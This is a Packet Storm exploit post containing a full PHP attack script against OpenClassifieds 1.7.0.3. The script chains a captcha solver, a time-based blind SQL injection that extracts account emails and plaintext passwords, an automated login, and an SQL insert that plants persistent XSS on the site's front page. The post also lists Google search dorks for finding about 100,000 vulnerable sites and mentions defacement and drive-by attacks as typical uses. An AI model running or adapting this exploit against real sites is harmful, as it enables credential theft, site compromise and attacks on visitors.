OpenClassifieds 1.7.0.3 Chained: Captcha Bypass -> SQL Injection -> XSS on Frontpage

2010-12-27T00:00:00
ID PACKETSTORM:97083
Type packetstorm
Reporter Michael Brooks
Modified 2010-12-27T00:00:00

Description

                                        
                                            `Author:Michael Brooks (Rook)<br>  
Application:OpenClassifieds 1.7.0.3<br>  
download: http://open-classifieds.com/download/<br>  
Exploit chain:captcha bypass->sqli(insert)->persistant xss on front page<br>  
If registration is required an extra link in the chain is added:<br>  
Exploit chain:blind sqli(select)->captcha bypass->sqli(insert)->persistant xss on front page<br>  
sites with SEO url's enabled:<br>  
"powerd by Open Classifieds" inurl:"publish-a-new-ad.htm" (85,000 results)<br>  
or default urls:<br>  
"powerd by Open Classifieds" inurl:"item-new.php" (16,500 results)<br>  
Total sites: ~100,000<br>  
<br>  
<br>  
The target must be a link to the document root of OpenClassifieds<br>  
(If the exploit doesn't immediately reload then blind sqli is required, which will take a few minutes ;)<br>  
<form>  
Target:  <input size=128 name=target value="http://localhost/"><br>  
Payload:<input size=128 name=xss value="<script>alert('xss')</script>"><br>  
<input type=submit value="Attack">  
</form><br>  
<?php  
/*  
Foreword:  
I have always wanted to write a chained exploit with a captcha bypass, so I couldn't miss this  
opportunity. I spent a bit more effort on this exploit even though there aren't very many hits (around  
100k starts to be worth while). Regardless, I dug into the application and pulled out the vulnerabilities  
needed to Finnish my masterpiece. Usually when I write a Remote Code Execution exploit for a web  
app you guys just deface the site or throw up drive-by attacks. So I figured, persistent XSS on the  
front page is equally as valuable, especially with yet another IE 0-day in the wild. The chain is within  
the application its self. Process sand-boxing like chroot/AppArmor/SELinux/Application-V(MS)  
doesn't come into play. It works regardless of the operating system or configurations (Suhosin,  
safemode, magic_quotes_gpc and register_globals doesn't come into play). I focused on the  
application's internal configurations that could break the exploitation process. In this case seo friendly  
urls and requiring an account before posting.   
  
"This web application [OpenClassifieds] is developed to be fast, light, secure and SEO friendly."  
Usually when I see that an application claims to be secure, they really don't know what the fuck they  
are doing. OpenClassifieds' Security model is deeply flawed and as a result there are MANY  
vulnerabilities in this code base which allowed me to string a few cool ones together to make an  
interesting exploit. OpenClassifieds is sanitizing everything on input using cG() and cP(), these  
functions are used to perform a mysql_real_escape_string() on all GET and POST variables. Most  
servers aren't using an exotic character set so from a security stand point this is exactly identical to  
magic_quotes_gpc. So I dusted off my usual magic_quotes_gpc auditing tricks, look for  
stripslashes(),base64decode(),urldecode(),html_entity_decode() lack of quote marks around variables  
in a query, ect... Sanitation must ALWAYS be done at the time of use, parametrized queries are a  
good example of this. Its impossible to account for all the ways a variable can be mangled once it  
enters a program and if you Sanitize input when it first enters the program there will be cases where it  
will become dangerous again. This isn't only a problem for SQLi, its also a problem for XSS. I am  
inserting JS into the database, which isn't a vulnerablity, but printing it, is persistant XSS.   
  
The blind sql injection is a bit strange. I can't use white space or commas, which is a pain. I had to  
rewrite my general purpose Blind SQLi Class to accommodate. A binary search is used to greatly  
speed up the blind sqli attack.   
(which I also used in my php-nuke exploit: http://www.exploit-db.com/exploits/12510/)  
  
Special thanks to Reiners for this sqli filter evasion cheat sheet:   
http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/  
Here are some changes I had to make to my blind sql injection class:  
"select substring('abc',1,1)"=>"select substring('abc' from 1 for 1)"  
if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)" =>"case ".sprintf($question,"0+".$cur).">".$pos." when true then sleep(".$this->timeout.") end"  
  
CWE Violations leveraged by this exploit:   
CWE-256: Plaintext Storage of a Password  
CWE-804: Guessable CAPTCHA (I asked that they create this CWE when I ran into a guy that works for Mitre.)  
CWE-89: SQL Injection x2  
CWE-79: Cross-site Scripting (Persistant)  
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
Vulnerable captcha:  
openclassifieds/includes/common.php line 291  
function encode_str ($input){//converts the input into Ascii HTML, to ofuscate a bit  
for ($i = 0; $i < strlen($input); $i++) {  
$output .= "&#".ord($input[$i]).';';  
}  
//$output = htmlspecialchars($output);//uncomment to escape sepecial chars  
return $output;  
}  
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
function mathCaptcha(){//generates a captcha for the form  
$first_number=mt_rand(1, 94);//first operation number  
$second_number=mt_rand(1, 5);//second operation number  
  
$_SESSION["mathCaptcha"]=($first_number+$second_number);//operation result  
  
$operation=" <b>".encode_str($first_number ." + ". $second_number)."</b>?";//operation codifieds  
  
echo _("How much is")." ".$operation;  
}  
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
Vulnerable persistant xss and sqli  
/content/item-new.php line 41  
$ocdb->insert(TABLE_PREFIX."posts (idCategory,type,title,description,price,idLocation,place,name,email,phone,password,ip,hasImages)","".  
cP("category").",".cP("type").",'$title','$desc',$price,$location,'".cP("place")."','".cP("name")."','$email','".cP("phone")."','$post_password','$client_ip',$hasImages");  
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
*/  
set_time_limit(0);  
error_reporting(0);  
  
function main(){  
if($_REQUEST['target'] && $_REQUEST['xss']){  
if(xssFrontPage($_REQUEST['target'],$_REQUEST['xss'])){  
print("<b>Persistant XSS attack was sucessful.</b>");  
}else{  
print("<b>Persistant XSS attack has failed.</b>");  
}  
}  
}  
  
//w00t, I can crack your captcha with 4 lines of code!   
//It would have been 3 if i had used eval(), but that would be a vulnerability ;)  
function breakCaptcha($page){  
preg_match("/\<b\>(.*)\<\/b\>\?/",$page,$match);  
$code=html_entity_decode($match[1]);  
$math=new EvalMath();  
return $math->evaluate($code);  
}  
  
function xssFrontPage($url,$xss){  
$h=new http_client();  
$page=$h->send($url."/content/item-new.php");  
#Authentication required.  
if(strstr($page,'Location: http')){#Do we need authentication?   
print "Blind SQL Injection required.<br>";  
$sex=new openclassifieds_blind_sql_injection($url."/");  
if($sex->test_target()){  
print "Target is vulnerable to attack!<br>";  
$pass=$sex->find_string("password");  
print "Found Password:<b>$pass</b><br>";  
$email=$sex->find_string("email");  
print "Found email:<b>$email</b><br>";  
$h->postdata="email=$email&password=$pass&submit=loading...";  
$h->send($url."/content/account/login.php");  
$h->postdata='';  
$page=$h->send($url."/");  
}else{  
die("This target is not exploitable!<br>");  
}   
}else{  
$email="test@test.com";  
}  
$code=breakCaptcha($page);  
$payload=blind_sql_injection::charEncode($xss);  
$pwd=mt_rand(1,9999999);//Strong password :p  
$fake_phone=mt_rand(1111111111,9999999999);  
$fake_email=blind_sql_injection::charEncode(mt_rand()."@".mt_rand().".com");  
$fake_ip=blind_sql_injection::charEncode(mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254));  
//Stored xss in the description,place and name columns.   
$inj="36,".mt_rand(1,20).",".$payload.",".mt_rand().",".mt_rand(2,500).",".mt_rand(1,10).",".mt_rand().",".mt_rand().",".$fake_email.",".$fake_phone.",".$pwd.",".$fake_ip.",0)#";  
$h->postdata="category=".$inj."&type=0&place=home&title=title&price=1&description=desc&name=name&email=".$email."&math=".$code;  
$h->send($url."/content/item-new.php");  
$h->postdata='';  
//I could use sql injection to find the id, but thats noisy and slow.   
$rss=$h->send($url."/content/feed-rss.php");  
//seo friendly  
if(preg_match("/\-(.*)\.htm\<\/link\>/",$rss,$match)){  
$guess=$match[1];  
}else if(preg_match("/item\=(.*)\&type/",$rss,$match)){  
$guess=$match[1];  
}else{  
$guess=0;  
}  
$guess++;  
$page='';  
$test=false;  
#Now lets activate the XSS post.  
for($x=$guess;$x-$guess<=128&&!$test;$x++){  
$page=$h->send($url."/content/item-manage.php?pwd=".$pwd."&post=".$x."&action=confirm");  
$test=strstr($page,"<script language='JavaScript' type='text/javascript'>alert('");  
}  
return $test;  
}  
  
//http://localhost/openclassifieds/?location=%26%23039;/**/or/**/sleep(10)/**/or/**/1=%26%23039;  
//The blind_sql_injeciton calss is a general exploit framework that we are inheriting.  
class openclassifieds_blind_sql_injection extends blind_sql_injection {  
//This is the blind sql injection request.  
function query($check){  
//build the http request to Inject a query:  
//"%26%23039;" is a single quote encoded with urlencode(htmlencode("'",ENT_QUOTES));  
$payload="%26%23039; or (select ".$check." from oc_accounts where active=1 limit 1) or 1=%26%23039;";  
#white space becomes and underscore "_" so it must be replaced.   
$payload=str_replace(" ","/**/",$payload);  
$this->set_get("location=".$payload);  
}  
}  
  
//This is a very efficient blind sql injection class.  
class blind_sql_injection{  
var $url, $backup_url, $result, $http, $request_count, $timeout;  
function blind_sql_injection($url,$timeout=10){  
$this->request_count=0;  
$this->url=$url;  
$this->backup_url=$url;  
$this->http=new http_client();  
$this->timeout=$timeout;  
}  
function set_get($get){  
$this->url=$this->url."?".$get;  
}  
function set_referer($referer){  
$this->http->referer=$referer;  
}  
function set_post($post){  
$this->http->postdata=$post;  
}  
function test_target(){  
return $this->send("case true when true then sleep(".$this->timeout.") when false then sleep(0) end")&&!$this->send("case false when true then sleep(".$this->timeout.") when false then sleep(0) end");  
#return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");  
}  
function num_to_hex($arr){  
$ret='';  
foreach($arr as $a){  
if($a<=9){  
$ret.=$a;  
}else{  
$ret.=chr(87+$a);  
}  
}  
return $ret;  
}  
###These where not ported to the non-comma version.   
//Looking for a string of length 32 and base 16 in ascii chars.  
#function find_md5($column){  
# return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));  
#}  
#function find_sha1($column){  
# return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));  
#}  
//Look for an ascii string of arbitrary length.  
function find_string($column){  
$ret='';  
//A length of zero means we are looking for a null byte terminated string.  
$result=$this->bin_finder(128,0,"ascii(substring($column from %s for 1))");  
foreach($result as $r){  
$ret.=chr($r);  
}  
return strrev($ret);  
}  
//query() is a method that generates the sql injection request  
function query($check){  
//This function must be overridden.  
}  
function recheck($result,$question,$base){  
$this->bin_finder($base,1,$question,$start);  
//Force a long timeout.  
$tmp_timeout=$this->timeout;  
if($this->timeout<10){  
$this->timeout=10;  
}else{  
$this->timeout=$this->timeout*2;  
}  
$l=1;  
foreach($result as $r){  
if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){  
$result[]=$b;  
break;  
}  
$l++;  
}  
$this->timeout=$tmp_timeout;  
}  
function linear_finder($base,$length,$question){  
for($l=1;$l<=$length;$l++){  
for($b=0;$b<$base;$b++){  
if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){  
$result[]=$b;  
break;  
}  
}  
}  
}  
#Binary search for mysql based sql injection.  
function bin_finder($base,$length,$question){  
$start_pos=1;  
$result='';  
for($cur=$start_pos;$cur<=$length||$length==0;$cur++){  
$n=$base-1;  
$low=0;  
$floor=$low;  
$high=$n-1;  
$pos= $low+(($high-$low)/2);  
$found=false;  
while($low<=$high&&!$found){  
#asking the sql database if the current value is greater than $pos  
if($this->send("case ".sprintf($question,"0+".$cur).">".$pos." when true then sleep(".$this->timeout.") end")){  
#if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){  
#if this is true then the value must be the modulus.  
if($pos==$n-1){  
$result[]=$pos+1;  
$found=true;  
}else{  
$low=$pos+1;  
}  
#asking the sql database if the current value is less than $pos  
}else if($this->send("case ".sprintf($question,"0+".$cur)."<".$pos." when true then sleep(".$this->timeout.") end")){  
#}else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){  
#if this is true the value must be zero, or in the case of ascii, a null byte.  
if($pos==$floor+1){  
$found=true;  
#We have found the null terminator so we have finnished our search for a string.  
if($length==0){  
$length=-1;  
}else{  
$result[]=$pos-1;  
}  
}else{  
$high=$pos-1;  
}  
}else{  
#both greater than and less then where asked, so so then the answer is our guess $pos.  
$result[]=$pos;  
$found=true;  
}  
$pos=$low+(($high-$low)/2);  
}  
print(".");  
}  
return $result;  
}  
//Fire off the request  
function send($quesiton){  
//build the injected query.  
$this->query($quesiton);  
$start=time();  
$resp=$this->http->send($this->url);  
//backup_url is for set_get()  
$this->url=$this->backup_url;  
$this->request_count++;  
return (time()-$start>=$this->timeout);  
}  
//retroGod RIP  
function charEncode($string){  
$char="char(";  
$size=strlen($string);  
for($x=0;$x<$size;$x++){  
$char.=ord($string[$x]).",";  
}  
$char[strlen($char)-1]=")%00";  
return $char;  
}   
}  
  
//General purpose http client that works on a default php install. (curl not required)  
class http_client{  
var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata='';  
function send($loc){  
//overload function polymorphism between gets and posts  
$url=parse_url($loc);  
if(!isset($url['port'])){  
$url['port']=80;  
}  
$ua='Firefox';  
if($this->proxy_ip!=''&&$this->proxy_port!=''){  
$fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );  
$url['path']=$url['host'].':'.$url['port'].$url['path'];  
}else{  
$fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );  
}  
if( !$fp ) {  
print "$errstr ($errno)<br>\nn";  
return false;  
} else {  
if(@!$url['query']){  
$url['query']='';  
}  
if( $this->postdata=='' ) {  
$request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n";  
} else {  
$request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n";  
}  
if($this->proxy_name!=''&&$this->proxy_pass!=''){  
$request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n";  
}  
$request.="Host: ".$url['host'].":".$url['port']."\r\n";  
$request.="User-Agent: ".$ua."\r\n";  
$request.="Accept: text/plain\r\n";  
if($this->referer!=''){  
$request.="Referer: ".$this->referer."\r\n";  
}  
$request.="Connection: Close\r\n";  
if($this->cookie!=''){  
$request.="Cookie: ".$this->cookie."\r\n" ;  
}  
if( $this->postdata!='' ) {  
$strlength = strlen( $this->postdata );  
$request.="Content-type: application/x-www-form-urlencoded\r\n" ;  
$request.="Content-length: ".$strlength."\r\n\r\n";  
$request.=$this->postdata;  
}  
fputs( $fp, $request."\r\n\r\n" );  
$output='';  
while( !feof( $fp ) ) {  
$output .= fgets( $fp, 1024 );  
}  
fclose( $fp );  
$header=explode("\r\n\r\n",$output);  
if(strstr($header[0],"Set-Cookie: ") && $this->cookie==''){  
$cookie=explode("Set-Cookie: ",$header[0]);  
$cookie=explode("\n",$cookie[1]);  
$cookie=explode(";",$cookie[0]);  
$this->cookie=trim($cookie[0]);  
}  
if(strstr($output,"Query:")){  
die($output);  
}  
return $output;  
}  
}  
//Use a http proxy  
function proxy($proxy){ //user:pass@ip:port  
$proxyAuth=explode('@',$proxy);  
if(isset($proxyAuth[1])){  
$login=explode(':',$proxyAuth[0]);  
$this->proxy_name=$login[0];  
$this->proxy_pass=$login[1];  
$addr=explode(':',$proxyAuth[1]);  
}else{  
$addr=explode(':',$proxy);  
}  
$this->proxy_ip=$addr[0];  
$this->proxy_port=$addr[1];  
}  
//Parses the results from a PHP error to use as a path disclosure.  
function getPath($url,$pops=1){  
$html=$this->send($url);  
//Regular error reporting:  
$resp=explode("array given in <b>",$html);  
if(isset($resp[1])){  
$resp = explode("</b>",$resp[1]);  
}else{  
//xdebug's error reporting:  
$resp=explode("array given in ",$html);  
if(isset($resp[1])){  
$resp = explode(" ",$resp[1]);  
}else{  
$resp[0]=false;  
}  
}  
$path=$resp[0];  
//Can't use dirname()  
if(strstr($path,"\\")){  
$p=explode("\\",$path);  
for($x=0;$x<$pops;$x++){  
array_pop($p);  
}  
$path=implode("\\",$p);  
}else{  
$p=explode("/",$path);  
for($x=0;$x<$pops;$x++){  
array_pop($p);  
}  
$path=implode("/",$p);  
}  
return $path;  
}  
//Grab the server type from the http header.  
function getServer($url){  
$resp=$this->send($url);  
$header=explode("Server: ",$resp);  
$server=explode("\n",$header[1]);  
return $server[0];  
}  
}  
  
#used to evaluate the captcha. 1+2=3  
class EvalMath {  
  
var $suppress_errors = false;  
var $last_error = null;  
  
var $v = array('e'=>2.71,'pi'=>3.14); // variables (and constants)  
var $f = array(); // user-defined functions  
var $vb = array('e', 'pi'); // constants  
var $fb = array( // built-in functions  
'sin','sinh','arcsin','asin','arcsinh','asinh',  
'cos','cosh','arccos','acos','arccosh','acosh',  
'tan','tanh','arctan','atan','arctanh','atanh',  
'sqrt','abs','ln','log');  
  
function EvalMath() {  
// make the variables a little more accurate  
$this->v['pi'] = pi();  
$this->v['e'] = exp(1);  
}  
  
function e($expr) {  
return $this->evaluate($expr);  
}  
  
function evaluate($expr) {  
$this->last_error = null;  
$expr = trim($expr);  
if (substr($expr, -1, 1) == ';') $expr = substr($expr, 0, strlen($expr)-1); // strip semicolons at the end  
//===============  
// is it a variable assignment?  
if (preg_match('/^\s*([a-z]\w*)\s*=\s*(.+)$/', $expr, $matches)) {  
if (in_array($matches[1], $this->vb)) { // make sure we're not assigning to a constant  
return $this->trigger("cannot assign to constant '$matches[1]'");  
}  
if (($tmp = $this->pfx($this->nfx($matches[2]))) === false) return false; // get the result and make sure it's good  
$this->v[$matches[1]] = $tmp; // if so, stick it in the variable array  
return $this->v[$matches[1]]; // and return the resulting value  
//===============  
// is it a function assignment?  
} elseif (preg_match('/^\s*([a-z]\w*)\s*\(\s*([a-z]\w*(?:\s*,\s*[a-z]\w*)*)\s*\)\s*=\s*(.+)$/', $expr, $matches)) {  
$fnn = $matches[1]; // get the function name  
if (in_array($matches[1], $this->fb)) { // make sure it isn't built in  
return $this->trigger("cannot redefine built-in function '$matches[1]()'");  
}  
$args = explode(",", preg_replace("/\s+/", "", $matches[2])); // get the arguments  
if (($stack = $this->nfx($matches[3])) === false) return false; // see if it can be converted to postfix  
for ($i = 0; $i<count($stack); $i++) { // freeze the state of the non-argument variables  
$token = $stack[$i];  
if (preg_match('/^[a-z]\w*$/', $token) and !in_array($token, $args)) {  
if (array_key_exists($token, $this->v)) {  
$stack[$i] = $this->v[$token];  
} else {  
return $this->trigger("undefined variable '$token' in function definition");  
}  
}  
}  
$this->f[$fnn] = array('args'=>$args, 'func'=>$stack);  
return true;  
//===============  
} else {  
return $this->pfx($this->nfx($expr)); // straight up evaluation, woo  
}  
}  
  
function vars() {  
$output = $this->v;  
unset($output['pi']);  
unset($output['e']);  
return $output;  
}  
  
function funcs() {  
$output = array();  
foreach ($this->f as $fnn=>$dat)  
$output[] = $fnn . '(' . implode(',', $dat['args']) . ')';  
return $output;  
}  
  
//===================== HERE BE INTERNAL METHODS ====================\\  
  
// Convert infix to postfix notation  
function nfx($expr) {  
  
$index = 0;  
$stack = new EvalMathStack;  
$output = array(); // postfix form of expression, to be passed to pfx()  
$expr = trim(strtolower($expr));  
  
$ops = array('+', '-', '*', '/', '^', '_');  
$ops_r = array('+'=>0,'-'=>0,'*'=>0,'/'=>0,'^'=>1); // right-associative operator?   
$ops_p = array('+'=>0,'-'=>0,'*'=>1,'/'=>1,'_'=>1,'^'=>2); // operator precedence  
  
$expecting_op = false; // we use this in syntax-checking the expression  
// and determining when a - is a negation  
  
if (preg_match("/[^\w\s+*^\/()\.,-]/", $expr, $matches)) { // make sure the characters are all good  
return $this->trigger("illegal character '{$matches[0]}'");  
}  
  
while(1) { // 1 Infinite Loop ;)  
$op = substr($expr, $index, 1); // get the first character at the current index  
// find out if we're currently at the beginning of a number/variable/function/parenthesis/operand  
$ex = preg_match('/^([a-z]\w*\(?|\d+(?:\.\d*)?|\.\d+|\()/', substr($expr, $index), $match);  
//===============  
if ($op == '-' and !$expecting_op) { // is it a negation instead of a minus?  
$stack->push('_'); // put a negation on the stack  
$index++;  
} elseif ($op == '_') { // we have to explicitly deny this, because it's legal on the stack   
return $this->trigger("illegal character '_'"); // but not in the input expression  
//===============  
} elseif ((in_array($op, $ops) or $ex) and $expecting_op) { // are we putting an operator on the stack?  
if ($ex) { // are we expecting an operator but have a number/variable/function/opening parethesis?  
$op = '*'; $index--; // it's an implicit multiplication  
}  
// heart of the algorithm:  
while($stack->count > 0 and ($o2 = $stack->last()) and in_array($o2, $ops) and ($ops_r[$op] ? $ops_p[$op] < $ops_p[$o2] : $ops_p[$op] <= $ops_p[$o2])) {  
$output[] = $stack->pop(); // pop stuff off the stack into the output  
}  
// many thanks: http://en.wikipedia.org/wiki/Reverse_Polish_notation#The_algorithm_in_detail  
$stack->push($op); // finally put OUR operator onto the stack  
$index++;  
$expecting_op = false;  
//===============  
} elseif ($op == ')' and $expecting_op) { // ready to close a parenthesis?  
while (($o2 = $stack->pop()) != '(') { // pop off the stack back to the last (  
if (is_null($o2)) return $this->trigger("unexpected ')'");  
else $output[] = $o2;  
}  
if (preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches)) { // did we just close a function?  
$fnn = $matches[1]; // get the function name  
$arg_count = $stack->pop(); // see how many arguments there were (cleverly stored on the stack, thank you)  
$output[] = $stack->pop(); // pop the function and push onto the output  
if (in_array($fnn, $this->fb)) { // check the argument count  
if($arg_count > 1)  
return $this->trigger("too many arguments ($arg_count given, 1 expected)");  
} elseif (array_key_exists($fnn, $this->f)) {  
if ($arg_count != count($this->f[$fnn]['args']))  
return $this->trigger("wrong number of arguments ($arg_count given, " . count($this->f[$fnn]['args']) . " expected)");  
} else { // did we somehow push a non-function on the stack? this should never happen  
return $this->trigger("internal error");  
}  
}  
$index++;  
//===============  
} elseif ($op == ',' and $expecting_op) { // did we just finish a function argument?  
while (($o2 = $stack->pop()) != '(') {   
if (is_null($o2)) return $this->trigger("unexpected ','"); // oops, never had a (  
else $output[] = $o2; // pop the argument expression stuff and push onto the output  
}  
// make sure there was a function  
if (!preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches))  
return $this->trigger("unexpected ','");  
$stack->push($stack->pop()+1); // increment the argument count  
$stack->push('('); // put the ( back on, we'll need to pop back to it again  
$index++;  
$expecting_op = false;  
//===============  
} elseif ($op == '(' and !$expecting_op) {  
$stack->push('('); // that was easy  
$index++;  
$allow_neg = true;  
//===============  
} elseif ($ex and !$expecting_op) { // do we now have a function/variable/number?  
$expecting_op = true;  
$val = $match[1];  
if (preg_match("/^([a-z]\w*)\($/", $val, $matches)) { // may be func, or variable w/ implicit multiplication against parentheses...  
if (in_array($matches[1], $this->fb) or array_key_exists($matches[1], $this->f)) { // it's a func  
$stack->push($val);  
$stack->push(1);  
$stack->push('(');  
$expecting_op = false;  
} else { // it's a var w/ implicit multiplication  
$val = $matches[1];  
$output[] = $val;  
}  
} else { // it's a plain old var or num  
$output[] = $val;  
}  
$index += strlen($val);  
//===============  
} elseif ($op == ')') { // miscellaneous error checking  
return $this->trigger("unexpected ')'");  
} elseif (in_array($op, $ops) and !$expecting_op) {  
return $this->trigger("unexpected operator '$op'");  
} else { // I don't even want to know what you did to get here  
return $this->trigger("an unexpected error occured");  
}  
if ($index == strlen($expr)) {  
if (in_array($op, $ops)) { // did we end with an operator? bad.  
return $this->trigger("operator '$op' lacks operand");  
} else {  
break;  
}  
}  
while (substr($expr, $index, 1) == ' ') { // step the index past whitespace (pretty much turns whitespace   
$index++; // into implicit multiplication if no operator is there)  
}  
  
}   
while (!is_null($op = $stack->pop())) { // pop everything off the stack and push onto output  
if ($op == '(') return $this->trigger("expecting ')'"); // if there are (s on the stack, ()s were unbalanced  
$output[] = $op;  
}  
return $output;  
}  
  
// evaluate postfix notation  
function pfx($tokens, $vars = array()) {  
  
if ($tokens == false) return false;  
  
$stack = new EvalMathStack;  
  
foreach ($tokens as $token) { // nice and easy  
// if the token is a binary operator, pop two values off the stack, do the operation, and push the result back on  
if (in_array($token, array('+', '-', '*', '/', '^'))) {  
if (is_null($op2 = $stack->pop())) return $this->trigger("internal error");  
if (is_null($op1 = $stack->pop())) return $this->trigger("internal error");  
switch ($token) {  
case '+':  
$stack->push($op1+$op2); break;  
case '-':  
$stack->push($op1-$op2); break;  
case '*':  
$stack->push($op1*$op2); break;  
case '/':  
if ($op2 == 0) return $this->trigger("division by zero");  
$stack->push($op1/$op2); break;  
case '^':  
$stack->push(pow($op1, $op2)); break;  
}  
// if the token is a unary operator, pop one value off the stack, do the operation, and push it back on  
} elseif ($token == "_") {  
$stack->push(-1*$stack->pop());  
// if the token is a function, pop arguments off the stack, hand them to the function, and push the result back on  
} elseif (preg_match("/^([a-z]\w*)\($/", $token, $matches)) { // it's a function!  
$fnn = $matches[1];  
if (in_array($fnn, $this->fb)) { // built-in function:  
if (is_null($op1 = $stack->pop())) return $this->trigger("internal error");  
$fnn = preg_replace("/^arc/", "a", $fnn); // for the 'arc' trig synonyms  
if ($fnn == 'ln') $fnn = 'log';  
eval('$stack->push(' . $fnn . '($op1));'); // perfectly safe eval()  
} elseif (array_key_exists($fnn, $this->f)) { // user function  
// get args  
$args = array();  
for ($i = count($this->f[$fnn]['args'])-1; $i >= 0; $i--) {  
if (is_null($args[$this->f[$fnn]['args'][$i]] = $stack->pop())) return $this->trigger("internal error");  
}  
$stack->push($this->pfx($this->f[$fnn]['func'], $args)); // yay... recursion!!!!  
}  
// if the token is a number or variable, push it on the stack  
} else {  
if (is_numeric($token)) {  
$stack->push($token);  
} elseif (array_key_exists($token, $this->v)) {  
$stack->push($this->v[$token]);  
} elseif (array_key_exists($token, $vars)) {  
$stack->push($vars[$token]);  
} else {  
return $this->trigger("undefined variable '$token'");  
}  
}  
}  
// when we're out of tokens, the stack should have a single element, the final result  
if ($stack->count != 1) return $this->trigger("internal error");  
return $stack->pop();  
}  
  
// trigger an error, but nicely, if need be  
function trigger($msg) {  
$this->last_error = $msg;  
if (!$this->suppress_errors) trigger_error($msg, E_USER_WARNING);  
return false;  
}  
}  
  
// for internal use  
class EvalMathStack {  
  
var $stack = array();  
var $count = 0;  
  
function push($val) {  
$this->stack[$this->count] = $val;  
$this->count++;  
}  
  
function pop() {  
if ($this->count > 0) {  
$this->count--;  
return $this->stack[$this->count];  
}  
return null;  
}  
  
function last($n=1) {  
return $this->stack[$this->count-$n];  
}  
}  
  
main();  
?>  
`